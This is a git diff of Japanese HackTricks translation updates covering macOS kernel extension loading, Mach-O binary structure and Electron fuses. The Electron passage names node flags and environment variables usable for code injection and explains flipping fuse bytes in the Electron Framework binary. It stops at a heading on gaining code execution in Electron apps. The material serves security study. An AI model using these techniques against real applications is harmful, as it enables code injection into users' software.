* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
* **ハッキングのヒントを共有するには、PRを送信して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)。
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを送信して、ハッキングのヒントを共有してください。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -22,25 +22,25 @@
|
|||
|
||||
* **リカバリモードに入る**とき、カーネル**拡張機能をロードすることが許可**されている必要があります:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* カーネル拡張機能は、**Appleによってのみ付与されるカーネルコード署名証明書**で**署名されている**必要があります。Appleが会社とその必要性を詳細に審査します。
|
||||
* カーネル拡張機能はまた、**ノータライズされている**必要があり、Appleがマルウェアをチェックできます。
|
||||
* その後、**root**ユーザーがカーネル拡張機能を**ロードできる**ユーザーであり、パッケージ内のファイルは**rootに属している**必要があります。
|
||||
* カーネル拡張機能は、**Appleによってのみ付与されるカーネルコード署名証明書**で**署名されている**必要があります。Appleは、会社とその必要性を詳細に審査します。
|
||||
* カーネル拡張機能はまた、**ノータライズ**されている必要があり、Appleはそれをマルウェアチェックできます。
|
||||
* その後、**root**ユーザーがカーネル拡張機能を**ロードできる**唯一のユーザーであり、パッケージ内のファイルは**rootに属している**必要があります。
|
||||
* アップロードプロセス中、パッケージは**保護された非rootの場所**に準備されなければなりません:`/Library/StagedExtensions`(`com.apple.rootless.storage.KernelExtensionManagement`権限が必要)。
|
||||
* 最後に、ユーザーはそれをロードしようとすると、コンピュータを**再起動**してロードする必要があります。
|
||||
* 最後に、ユーザーはそれをロードしようとすると、[**確認リクエストを受け取ります**](https://developer.apple.com/library/archive/technotes/tn2459/\_index.html) そして、承認された場合、コンピュータを**再起動**してそれをロードする必要があります。
|
||||
|
||||
### ロードプロセス
|
||||
|
||||
Catalinaでは、次のようになりました:**検証**プロセスが**ユーザーランド**で発生することに注目することが興味深いです。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみがカーネルに拡張機能のロードを要求できます:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
|
||||
Catalinaでは、次のようになりました:**検証**プロセスが**ユーザーランド**で発生することに注目することが興味深いです。ただし、**`com.apple.private.security.kext-management`**権限を持つアプリケーションのみが**カーネルに拡張機能のロードを要求**できます:`kextcache`、`kextload`、`kextutil`、`kextd`、`syspolicyd`
|
||||
|
||||
1. **`kextutil`** cliは、拡張機能のロードの**検証**プロセスを**開始**します
|
||||
* **`kextd`**に**Machサービス**を使用して送信することで話します。
|
||||
2. **`kextd`**は、**署名**など、いくつかのことをチェックします
|
||||
* 拡張機能を**ロード**できるかどうかを**確認**するために**`syspolicyd`**に話します
|
||||
2. **`kextd`**は、**署名**などをチェックします
|
||||
* **`syspolicyd`**に話して、拡張機能を**ロード**できるかどうかを**確認**します。
|
||||
3. **`syspolicyd`**は、拡張機能が以前にロードされていない場合、**ユーザーにプロンプト**を表示します。
|
||||
* **`syspolicyd`**は結果を**`kextd`**に報告します
|
||||
4. **`kextd`**は最終的にカーネルに拡張機能を**ロードするように指示**できます
|
||||
4. **`kextd`**は最終的にカーネルに拡張機能を**ロードするよう指示**できます
|
||||
|
||||
**`kextd`**が利用できない場合、**`kextutil`**は同じチェックを実行できます。
|
||||
|
||||
|
@ -51,12 +51,12 @@ Catalinaでは、次のようになりました:**検証**プロセスが**ユ
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
|
||||
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで企業を宣伝**したいですか? または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか? [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をご覧ください!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、[**NFTs**](https://opensea.io/collection/the-peass-family)の独占コレクションを発見しましょう
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)をチェックして、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを発見しましょう
|
||||
* [**PEASSとHackTricksの公式スウォッグ**](https://peass.creator-spring.com)を入手しましょう
|
||||
* **Discord**の[**💬**](https://emojipedia.org/speech-balloon/) **グループ**に参加するか、[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter**で私をフォローする🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
* **ハッキングのヒントを共有するには、PRを送信して** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **および** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud)。
|
||||
* **[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)**と**[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを送信して、ハッキングのヒントを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,31 +2,31 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学びましょう</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- **HackTricksで企業を宣伝したり、HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)をフォローする
|
||||
- **HackTricks**および**HackTricks Cloud**のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有する
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **ハッキングトリックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
Mac OSのバイナリは通常、**universal binaries**としてコンパイルされます。**Universal binary**は**同じファイル内で複数のアーキテクチャをサポート**できます。
|
||||
Mac OSのバイナリは通常、**universal binaries**としてコンパイルされます。**universal binary**は**同じファイル内で複数のアーキテクチャをサポート**できます。
|
||||
|
||||
これらのバイナリは、基本的に以下のような**Mach-O構造**に従います:
|
||||
|
||||
- ヘッダー
|
||||
- ヘッダ
|
||||
- ロードコマンド
|
||||
- データ
|
||||
|
||||
![https://alexdremov.me/content/images/2022/10/6XLCD.gif](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
## Fatヘッダー
|
||||
## Fatヘッダ
|
||||
|
||||
次のコマンドでファイルを検索します:`mdfind fat.h | grep -i mach-o | grep -E "fat.h$"`
|
||||
|
||||
|
@ -47,7 +47,7 @@ uint32_t align; /* 2の累乗としてのアライメント */
|
|||
};
|
||||
</code></pre>
|
||||
|
||||
ヘッダーには**magic**バイトが続き、ファイルが含む**archs**の数(`nfat_arch`)と各アーキテクチャが`fat_arch`構造体を持ちます。
|
||||
ヘッダには**magic**バイトが続き、ファイルが含む**archs**の数(`nfat_arch`)と各アーキテクチャには`fat_arch`構造体があります。
|
||||
|
||||
次のコマンドで確認します:
|
||||
|
||||
|
@ -76,15 +76,15 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
</strong> align 2^14 (16384)
|
||||
</code></pre>
|
||||
|
||||
または[Mach-O View](https://sourceforge.net/projects/machoview/)ツールを使用する:
|
||||
または[Mach-O View](https://sourceforge.net/projects/machoview/)ツールを使用して:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
通常、2つのアーキテクチャ向けにコンパイルされたuniversal binaryは、1つのアーキテクチャ向けにコンパイルされたものの**サイズを倍に**します。
|
||||
|
||||
## **Mach-Oヘッダー**
|
||||
## **Mach-Oヘッダ**
|
||||
|
||||
ヘッダーには、ファイルを識別するためのマジックバイトや対象アーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次のコマンドで確認できます:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
ヘッダには、Mach-Oファイルとして識別するためのマジックバイトや対象アーキテクチャに関する情報など、ファイルに関する基本情報が含まれています。次の場所にあります:`mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -129,7 +129,7 @@ MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DY
|
|||
|
||||
## **Mach-O ロードコマンド**
|
||||
|
||||
**メモリ内のファイルのレイアウト**がここで指定され、**シンボルテーブルの場所**、実行開始時のメインスレッドのコンテキスト、および必要な**共有ライブラリ**が詳細に説明されています。動的ローダー**(dyld)**には、バイナリのメモリへの読み込みプロセスに関する指示が提供されます。
|
||||
**メモリ内のファイルのレイアウト** がここで指定され、**シンボルテーブルの位置**、実行開始時のメインスレッドのコンテキスト、および必要な **共有ライブラリ** が詳細に記載されています。メモリへのバイナリの読み込みプロセスに関する指示が、動的ローダー **(dyld)** に提供されます。
|
||||
|
||||
これには、**`loader.h`** で定義された **load\_command** 構造が使用されます。
|
||||
```objectivec
|
||||
|
@ -143,7 +143,7 @@ uint32_t cmdsize; /* total size of command in bytes */
|
|||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
基本的に、このタイプのロードコマンドは、バイナリが実行されるときに、**\_\_TEXT**(実行コード)および**\_\_DATA**(プロセス用のデータ)**セグメントをどのようにロードするか**を、データセクションで示されたオフセットに従って定義します。
|
||||
基本的に、このタイプのロードコマンドは、バイナリが実行されるときに、**\_\_TEXT**(実行コード)と**\_\_DATA**(プロセス用のデータ)**セグメントをどのようにロードするか**を、データセクションで示されたオフセットに従って定義します。
|
||||
{% endhint %}
|
||||
|
||||
これらのコマンドは、プロセスの**仮想メモリ空間にマップされるセグメント**を**定義**します。
|
||||
|
@ -152,20 +152,20 @@ uint32_t cmdsize; /* total size of command in bytes */
|
|||
|
||||
**各セグメント**は、さらに複数の**セクション**に**分割**できます。**ロードコマンド構造**には、それぞれのセグメント内の**これらのセクションに関する情報**が含まれています。
|
||||
|
||||
ヘッダー内にはまず、**セグメントヘッダー**があります:
|
||||
ヘッダーにはまず、**セグメントヘッダー**があります:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* for 64-bit architectures */
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* 64ビットアーキテクチャ用 */
|
||||
uint32_t cmd; /* LC_SEGMENT_64 */
|
||||
uint32_t cmdsize; /* includes sizeof section_64 structs */
|
||||
char segname[16]; /* segment name */
|
||||
uint64_t vmaddr; /* memory address of this segment */
|
||||
uint64_t vmsize; /* memory size of this segment */
|
||||
uint64_t fileoff; /* file offset of this segment */
|
||||
uint64_t filesize; /* amount to map from the file */
|
||||
int32_t maxprot; /* maximum VM protection */
|
||||
int32_t initprot; /* initial VM protection */
|
||||
<strong> uint32_t nsects; /* number of sections in segment */
|
||||
</strong> uint32_t flags; /* flags */
|
||||
uint32_t cmdsize; /* section_64構造体のサイズを含む */
|
||||
char segname[16]; /* セグメント名 */
|
||||
uint64_t vmaddr; /* このセグメントのメモリアドレス */
|
||||
uint64_t vmsize; /* このセグメントのメモリサイズ */
|
||||
uint64_t fileoff; /* このセグメントのファイルオフセット */
|
||||
uint64_t filesize; /* ファイルからマップする量 */
|
||||
int32_t maxprot; /* 最大VM保護 */
|
||||
int32_t initprot; /* 初期VM保護 */
|
||||
<strong> uint32_t nsects; /* セグメント内のセクション数 */
|
||||
</strong> uint32_t flags; /* フラグ */
|
||||
};
|
||||
</code></pre>
|
||||
|
||||
|
@ -190,52 +190,54 @@ uint32_t reserved2; /* reserved (for count or sizeof) */
|
|||
uint32_t reserved3; /* reserved */
|
||||
};
|
||||
```
|
||||
例: **セクションヘッダー**の例:
|
||||
例: **セクションヘッダー**:
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
もし**セクションオフセット**(0x37DC)に**アーキテクチャが始まるオフセット**(この場合 `0x18000`)を**追加**すると、`0x37DC + 0x18000 = 0x1B7DC` となります。
|
||||
もし **セクションオフセット** (0x37DC) に **アーキテクチャが始まるオフセット**、この場合 `0x18000` を **追加** すると、`0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
また、**コマンドライン**からも**ヘッダー情報**を取得することが可能です。
|
||||
**コマンドライン**からも **ヘッダー情報** を取得することが可能です:
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
このコマンドによってロードされる一般的なセグメント:
|
||||
```markdown
|
||||
このcmdによってロードされる一般的なセグメント:
|
||||
|
||||
- **`__PAGEZERO`:** カーネルに**アドレスゼロ**を**読み取り、書き込み、実行**できないように**マップ**するよう指示します。この構造体内のmaxprotとminprot変数は、このページに**読み取り書き込み実行権限がない**ことを示すためにゼロに設定されています。
|
||||
- この割り当ては**NULLポインターのデリファレンス脆弱性を緩和**するために重要です。
|
||||
- **`__TEXT`**: **読み取り**および**実行**権限(書き込み権限なし)を持つ**実行可能なコード**を含みます。このセグメントの一般的なセクション:
|
||||
- `__text`: コンパイルされたバイナリコード
|
||||
- `__const`: 定数データ
|
||||
- `__cstring`: 文字列定数
|
||||
- `__stubs`および`__stubs_helper`: ダイナミックライブラリの読み込みプロセス中に関与します
|
||||
- **`__DATA`**: **読み取り書き込み可能**なデータを含みます(実行権限なし)。
|
||||
- `__data`: 初期化されたグローバル変数
|
||||
- `__bss`: 初期化されていない静的変数
|
||||
- `__objc_*`(\_\_objc\_classlist、\_\_objc\_protolistなど): Objective-Cランタイムで使用される情報
|
||||
- **`__LINKEDIT`**: リンカー(dyld)のための情報を含みます。「シンボル、文字列、および再配置テーブルエントリー」など。
|
||||
- **`__OBJC`**: Objective-Cランタイムで使用される情報を含みます。ただし、この情報は\_\_DATAセグメント内のさまざまな\_\_objc\_\*セクションでも見つけることができます。
|
||||
* **`__PAGEZERO`:** カーネルに**アドレスゼロ**を**マップ**するよう指示し、**読み取り、書き込み、実行**ができないようにします。この構造体内のmaxprotとminprot変数はゼロに設定され、このページには**読み書き実行権限がない**ことを示します。
|
||||
* この割り当ては**NULLポインターのデリファレンス脆弱性を緩和**するために重要です。
|
||||
* **`__TEXT`**: **読み取り**および**実行**権限(書き込みなし)を持つ**実行可能なコード**を含みます。このセグメントの一般的なセクション:
|
||||
* `__text`: コンパイルされたバイナリコード
|
||||
* `__const`: 定数データ
|
||||
* `__cstring`: 文字列定数
|
||||
* `__stubs`および`__stubs_helper`: ダイナミックライブラリの読み込みプロセス中に関与します
|
||||
* **`__DATA`**: **読み取り**および**書き込み**可能なデータを含みます(実行不可)。
|
||||
* `__data`: 初期化されたグローバル変数
|
||||
* `__bss`: 初期化されていない静的変数
|
||||
* `__objc_*`(\_\_objc\_classlist、\_\_objc\_protolistなど):Objective-Cランタイムで使用される情報
|
||||
* **`__LINKEDIT`**: リンカー(dyld)のための情報を含み、「シンボル、文字列、および再配置テーブルエントリ」などが含まれます。
|
||||
* **`__OBJC`**: Objective-Cランタイムで使用される情報を含みます。ただし、この情報は\_\_DATAセグメント内のさまざまな\_\_objc\_\*セクションでも見つけることができます。
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
**entryoff属性**にエントリーポイントを含みます。ロード時に、**dyld**は単にこの値を(メモリ内の)**バイナリのベースに追加**し、その後この命令に**ジャンプ**してバイナリのコードの実行を開始します。
|
||||
**entryoff属性**内のエントリーポイントを含みます。ロード時に、**dyld**は単純にこの値を(メモリ内の)**バイナリのベースに追加**し、その後この命令に**ジャンプ**してバイナリのコードの実行を開始します。
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
Macho-Oファイルの**コード署名に関する情報**を含みます。**署名ブロブ**を指す**オフセット**のみを含みます。通常、これはファイルの最後にあります。\
|
||||
ただし、このセクションに関する情報は、[**このブログ投稿**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)やこの[**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)で見つけることができます。
|
||||
Macho-Oファイルの**コード署名に関する情報**を含みます。これには通常、ファイルの最後にある**署名ブロブ**を**指す****オフセット**のみが含まれます。\
|
||||
ただし、このセクションに関する情報は[**このブログ投稿**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/)およびこの[gists](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)で見つけることができます。
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
プロセスのアドレス空間に共有ライブラリをマップする**動的リンカー実行ファイルへのパス**を含みます。**値は常に`/usr/lib/dyld`**に設定されます。macOSでは、dylibのマッピングが**カーネルモードではなくユーザーモード**で行われることに注意することが重要です。
|
||||
プロセスのアドレス空間に共有ライブラリをマップする**動的リンカー実行ファイルへのパス**を含みます。**値は常に`/usr/lib/dyld`**に設定されます。macOSでは、dylibのマッピングは**カーネルモードではなくユーザーモード**で行われることに注意することが重要です。
|
||||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
このロードコマンドは、**ローダー**(dyld)に**ライブラリのロードとリンクを指示**する**動的ライブラリ**の依存関係を記述します。Mach-Oバイナリが必要とする**各ライブラリ**に対してLC\_LOAD\_DYLIBロードコマンドがあります。
|
||||
このロードコマンドは、**ローダー**(dyld)に**ライブラリをロードおよびリンクするよう指示する****動的ライブラリ**依存関係を記述します。Mach-Oバイナリが必要とする**各ライブラリ**にはLC\_LOAD\_DYLIBロードコマンドがあります。
|
||||
|
||||
- このロードコマンドは、**実際の依存する動的ライブラリを記述するstruct dylibを含む`dylib_command`**型の構造体です。
|
||||
* このロードコマンドは、実際の依存動的ライブラリを記述する**`dylib`**構造体を含む**`dylib_command`**型の構造体です:
|
||||
```
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
|
@ -250,11 +252,9 @@ uint32_t current_version; /* library's current version number */
|
|||
uint32_t compatibility_version; /* library's compatibility vers number*/
|
||||
};
|
||||
```
|
||||
以下のコマンドでもこの情報を取得できます:
|
||||
![](<../../../.gitbook/assets/image (558).png>)
|
||||
|
||||
```bash
|
||||
otool -l /path/to/binary | grep -A 3 LC_VERSION_MIN_MACOSX
|
||||
```
|
||||
また、次のコマンドラインからこの情報を取得することもできます:
|
||||
```bash
|
||||
otool -L /bin/ls
|
||||
/bin/ls:
|
||||
|
@ -275,18 +275,18 @@ Mach-Oバイナリには、**LC\_MAIN**で指定されたアドレスの**前に
|
|||
|
||||
## **Mach-Oデータ**
|
||||
|
||||
ファイルの中心には、ロードコマンド領域で定義された複数のセグメントで構成されるデータ領域があります。**各セグメントにはさまざまなデータセクションが収容され、各セクションには特定のタイプに固有のコードまたはデータが含まれます**。
|
||||
ファイルの中心には、ロードコマンド領域で定義された複数のセグメントで構成されるデータ領域があります。**各セグメント内にはさまざまなデータセクションが収容され、各セクションには**コードまたはデータ**が含まれています。
|
||||
|
||||
{% hint style="success" %}
|
||||
データは基本的に、ロードコマンド**LC\_SEGMENTS\_64**によって読み込まれる**すべての情報**を含む部分です。
|
||||
{% endhint %}
|
||||
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055_02_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
![https://www.oreilly.com/api/v2/epubs/9781785883378/files/graphics/B05055\_02\_38.jpg](<../../../.gitbook/assets/image (507) (3).png>)
|
||||
|
||||
これには次のものが含まれます:
|
||||
|
||||
- **関数テーブル**:プログラム関数に関する情報を保持します。
|
||||
- **シンボルテーブル**:バイナリで使用される外部関数に関する情報を含みます。
|
||||
- **関数テーブル**:プログラム関数に関する情報を保持
|
||||
- **シンボルテーブル**:バイナリで使用される外部関数に関する情報を含む
|
||||
- 内部関数、変数名なども含まれる可能性があります。
|
||||
|
||||
確認するには、[**Mach-O View**](https://sourceforge.net/projects/machoview/)ツールを使用できます:
|
||||
|
@ -305,8 +305,8 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
* **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する。
|
||||
* **ハッキングトリックを共有するために、PRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) **および** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **のGitHubリポジトリに提出してください。**
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)コレクションをご覧ください
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**してください。
|
||||
* **ハッキングトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,28 +2,30 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じてゼロからヒーローまでAWSハッキングを学ぶ</summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong>を通じて、ゼロからヒーローまでAWSハッキングを学びましょう!</summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)で**フォロー**する
|
||||
- **ハッキングテクニックを共有するために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する**
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**または[Telegramグループ](https://t.me/peass)に**参加**するか、**Twitter**🐦で**フォロー**する:[**@carlospolopm**](https://twitter.com/hacktricks\_live)。
|
||||
- **ハッキングトリックを共有する**ために、[HackTricks](https://github.com/carlospolop/hacktricks)と[HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
## 基本情報
|
||||
|
||||
Electronが何かわからない場合は、[**こちらで多くの情報を見つけることができます**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。ただし、今のところは、Electronが**node**を実行していることを知っておくだけで十分です。
|
||||
Electronが何かわからない場合は、[**こちらで多くの情報を見つけることができます**](https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/xss-to-rce-electron-desktop-apps)。ただし、今のところはElectronが**node**を実行していることを知っておくだけで十分です。
|
||||
|
||||
そして、nodeには、指定されたファイル以外のコードを実行するために使用できる**パラメータ**や**環境変数**がいくつかあります。
|
||||
|
||||
### Electron Fuses
|
||||
|
||||
これらのテクニックは次に議論されますが、最近のElectronではこれらを**防ぐためのいくつかのセキュリティフラグ**が追加されています。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、これらはmacOSのElectronアプリケーションが**任意のコードを読み込むのを防ぐ**ために使用されます:
|
||||
これらのテクニックは次に議論されますが、最近のElectronではこれらを防ぐためにいくつかの**セキュリティフラグ**が追加されています。これらは[**Electron Fuses**](https://www.electronjs.org/docs/latest/tutorial/fuses)であり、これらはmacOSのElectronアプリケーションが**任意のコードを読み込むのを防ぐ**ために使用されます:
|
||||
|
||||
- **`RunAsNode`**:無効にすると、環境変数**`ELECTRON_RUN_AS_NODE`**の使用を防ぎ、コードのインジェクションを防ぎます。
|
||||
- **`EnableNodeCliInspectArguments`**:無効にすると、`--inspect`、`--inspect-brk`などのパラメータが尊重されなくなります。これにより、コードのインジェクションが防がれます。
|
||||
- **`EnableNodeCliInspectArguments`**:無効にすると、`--inspect`、`--inspect-brk`などのパラメータが尊重されなくなります。これにより、コードのインジェクションが防止されます。
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**:有効にすると、読み込まれた**`asar`**ファイルがmacOSによって検証されます。このファイルの内容を変更することによるコードのインジェクションを防ぎます。
|
||||
- **`OnlyLoadAppFromAsar`**:これが有効になっている場合、次の順序で読み込みを検索する代わりに:**`app.asar`**、**`app`**、最後に**`default_app.asar`**。app.asarのみをチェックおよび使用するため、**`embeddedAsarIntegrityValidation`**フューズと組み合わせると、検証されていないコードを読み込むことが**不可能**になります。
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**:有効にすると、ブラウザプロセスはV8スナップショットに`browser_v8_context_snapshot.bin`というファイルを使用します。
|
||||
|
@ -59,19 +61,19 @@ Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions
|
|||
```
|
||||
[https://hexed.it/](https://hexed.it/)でこのファイルをロードし、前の文字列を検索できます。この文字列の後に、各ヒューズが無効または有効かを示す数字「0」または「1」がASCIIで表示されます。単純に16進コードを変更して(`0x30`は`0`で、`0x31`は`1`です)、**ヒューズの値を変更**できます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Electronアプリケーション**内の**`Electron Framework`バイナリ**をこれらの変更されたバイトで上書きしようとすると、アプリケーションは実行されなくなります。
|
||||
**Electronアプリケーション**内の**`Electron Framework`バイナリ**をこれらのバイトで変更した場合、アプリケーションは実行されなくなります。
|
||||
|
||||
## Electronアプリケーションにコードを追加してRCE
|
||||
|
||||
